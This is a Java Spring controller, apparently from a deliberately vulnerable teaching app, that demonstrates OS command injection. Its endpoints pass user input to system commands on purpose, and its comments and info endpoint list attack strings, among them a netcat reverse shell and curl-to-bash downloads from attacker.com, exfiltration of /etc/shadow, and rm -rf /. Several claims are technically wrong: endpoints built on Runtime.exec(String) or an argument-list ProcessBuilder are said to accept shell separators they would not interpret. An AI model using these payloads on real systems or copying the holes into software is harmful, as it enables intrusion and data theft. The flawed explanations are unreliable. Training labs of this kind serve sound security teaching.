CommandInjectionController.java

package com.example.vulnerable;

import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.*;

/**
 * VULNERABLE: OS Command Injection Vulnerabilities
 * 
 * Demonstrates command injection attack vectors that allow
 * attackers to execute arbitrary system commands.
 * 
 * Related CVEs:
 * - CVE-2022-23221: H2 Database Remote Code Execution
 * 
 * CWE-78: OS Command Injection
 * CVSS Score: 9.8 (CRITICAL)
 * 
 * Impact:
 * - Execute arbitrary system commands
 * - Read/write/delete files
 * - Install backdoors
 * - Pivot to other systems
 * - Complete server compromise
 * 
 * WARNING: This code is intentionally vulnerable for educational purposes.
 * DO NOT deploy to production!
 */
@RestController
@RequestMapping("/api/system")
public class CommandInjectionController {

    /**
     * VULNERABLE: Command Injection via ping command
     * 
     * CWE-78: OS Command Injection
     * CVSS: 9.8 (CRITICAL)
     * 
     * Attack Examples:
     * - /api/system/ping?host=google.com; cat /etc/passwd
     * - /api/system/ping?host=google.com && whoami
     * - /api/system/ping?host=google.com | nc attacker.com 4444 -e /bin/sh
     * - /api/system/ping?host=google.com`curl http://attacker.com/shell.sh | bash`
     * 
     * Windows:
     * - /api/system/ping?host=google.com & dir C:\
     * - /api/system/ping?host=google.com && type C:\Windows\System32\config\SAM
     * 
     * Impact: Execute arbitrary system commands
     */
    @GetMapping("/ping")
    public Map<String, Object> pingHost(@RequestParam String host) {
        try {
            // CRITICAL VULNERABILITY: Unsanitized user input in system command
            String command = "ping -c 4 " + host;  // ❌ CWE-78
            
            Process process = Runtime.getRuntime().exec(command);
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            int exitCode = process.waitFor();
            
            return Map.of(
                "success", true,
                "host", host,
                "command", command,
                "output", output.toString(),
                "exitCode", exitCode,
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", e.getMessage(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
        }
    }

    /**
     * VULNERABLE: Command Injection via nslookup
     * 
     * CWE-78: OS Command Injection
     * CVSS: 9.8 (CRITICAL)
     * 
     * Attack Examples:
     * - /api/system/dns?domain=google.com; rm -rf /
     * - /api/system/dns?domain=google.com && curl http://attacker.com/malware.sh | sh
     * 
     * Impact: Execute arbitrary system commands
     */
    @GetMapping("/dns")
    public Map<String, Object> dnsLookup(@RequestParam String domain) {
        try {
            // CRITICAL VULNERABILITY: Command injection via string concatenation
            String[] command = {"/bin/sh", "-c", "nslookup " + domain};  // ❌ CWE-78
            
            Process process = Runtime.getRuntime().exec(command);
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            return Map.of(
                "success", true,
                "domain", domain,
                "output", output.toString(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", e.getMessage(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
        }
    }

    /**
     * VULNERABLE: Command Injection via file conversion
     * 
     * CWE-78: OS Command Injection
     * CVSS: 9.8 (CRITICAL)
     * 
     * Attack Examples:
     * - /api/system/convert?input=file.txt; cat /etc/shadow > /tmp/stolen.txt
     * - /api/system/convert?input=file.txt && wget http://attacker.com/backdoor.sh
     * 
     * Impact: Execute arbitrary system commands
     */
    @PostMapping("/convert")
    public Map<String, Object> convertFile(@RequestParam String input, 
                                           @RequestParam String output) {
        try {
            // CRITICAL VULNERABILITY: Unsanitized file paths in command
            String command = "convert " + input + " " + output;  // ❌ CWE-78
            
            Process process = Runtime.getRuntime().exec(command);
            int exitCode = process.waitFor();
            
            return Map.of(
                "success", exitCode == 0,
                "input", input,
                "output", output,
                "command", command,
                "exitCode", exitCode,
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", e.getMessage(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
        }
    }

    /**
     * VULNERABLE: Command Injection via backup
     * 
     * CWE-78: OS Command Injection
     * CVSS: 9.8 (CRITICAL)
     * 
     * Attack Examples:
     * - /api/system/backup?directory=/var/www; curl http://attacker.com/shell.sh | bash
     * - /api/system/backup?directory=/home`id > /tmp/pwned.txt`
     * 
     * Impact: Execute arbitrary system commands
     */
    @PostMapping("/backup")
    public Map<String, Object> backupDirectory(@RequestParam String directory) {
        try {
            // CRITICAL VULNERABILITY: Command injection via ProcessBuilder
            ProcessBuilder pb = new ProcessBuilder(
                "tar", "-czf", "backup.tar.gz", directory  // ❌ CWE-78
            );
            
            Process process = pb.start();
            int exitCode = process.waitFor();
            
            return Map.of(
                "success", exitCode == 0,
                "directory", directory,
                "backup", "backup.tar.gz",
                "exitCode", exitCode,
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", e.getMessage(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
        }
    }

    /**
     * VULNERABLE: Command Injection via system info
     * 
     * CWE-78: OS Command Injection
     * CVSS: 9.8 (CRITICAL)
     * 
     * Attack Examples:
     * - /api/system/info?command=uname; cat /etc/passwd
     * - /api/system/info?command=hostname && curl http://attacker.com/exfiltrate?data=$(cat /etc/shadow | base64)
     * 
     * Impact: Execute arbitrary system commands
     */
    @GetMapping("/info")
    public Map<String, Object> systemInfo(@RequestParam String command) {
        try {
            // CRITICAL VULNERABILITY: Direct execution of user input
            Process process = Runtime.getRuntime().exec(command);  // ❌ CWE-78
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            return Map.of(
                "success", true,
                "command", command,
                "output", output.toString(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", e.getMessage(),
                "warning", "VULNERABLE: Command injection (CWE-78)"
            );
        }
    }

    /**
     * Information endpoint showing vulnerability details
     */
    @GetMapping("/vuln-info")
    public Map<String, Object> vulnerabilityInfo() {
        return Map.of(
            "vulnerability", "OS Command Injection",
            "cwe", "CWE-78",
            "cvss", "9.8 (CRITICAL)",
            "related_cves", Arrays.asList(
                "CVE-2022-23221 (H2 Database)"
            ),
            "description", "Improper neutralization of special elements used in an OS command",
            "impact", Arrays.asList(
                "Execute arbitrary system commands",
                "Read/write/delete files",
                "Install backdoors",
                "Exfiltrate data",
                "Complete server compromise"
            ),
            "vulnerable_endpoints", Arrays.asList(
                "GET /api/system/ping?host=...",
                "GET /api/system/dns?domain=...",
                "POST /api/system/convert?input=...&output=...",
                "POST /api/system/backup?directory=...",
                "GET /api/system/info?command=..."
            ),
            "attack_examples", Arrays.asList(
                "host=google.com; cat /etc/passwd",
                "host=google.com && whoami",
                "host=google.com | nc attacker.com 4444 -e /bin/sh",
                "domain=google.com`curl http://attacker.com/shell.sh | bash`",
                "command=uname && curl http://attacker.com/exfiltrate"
            ),
            "command_separators", Arrays.asList(
                "; (semicolon)",
                "& (ampersand)",
                "| (pipe)",
                "&& (AND)",
                "|| (OR)",
                "` (backtick)",
                "$() (command substitution)",
                "\n (newline)"
            ),
            "mitigation", Arrays.asList(
                "Never pass user input to system commands",
                "Use allowlist of allowed commands",
                "Validate and sanitize all input",
                "Use language-specific APIs instead of shell commands",
                "Run with least privilege",
                "Use parameterized commands"
            ),
            "references", Arrays.asList(
                "https://cwe.mitre.org/data/definitions/78.html",
                "https://owasp.org/www-community/attacks/Command_Injection"
            )
        );
    }

    /**
     * FIXED VERSION: Safe ping with input validation
     */
    @GetMapping("/safe-ping")
    public Map<String, Object> safePing(@RequestParam String host) {
        try {
            // SAFE: Validate hostname format
            if (!host.matches("^[a-zA-Z0-9.-]+$")) {
                return Map.of(
                    "success", false,
                    "error", "Invalid hostname",
                    "message", "Hostname can only contain letters, numbers, dots, and hyphens"
                );
            }
            
            // SAFE: Use ProcessBuilder with separate arguments
            ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", host);
            pb.redirectErrorStream(true);
            
            Process process = pb.start();
            
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            int exitCode = process.waitFor();
            
            return Map.of(
                "success", true,
                "host", host,
                "output", output.toString(),
                "exitCode", exitCode,
                "security", "Input validated, command properly parameterized"
            );
            
        } catch (Exception e) {
            return Map.of(
                "success", false,
                "error", "Failed to ping host",
                "message", e.getMessage()
            );
        }
    }
}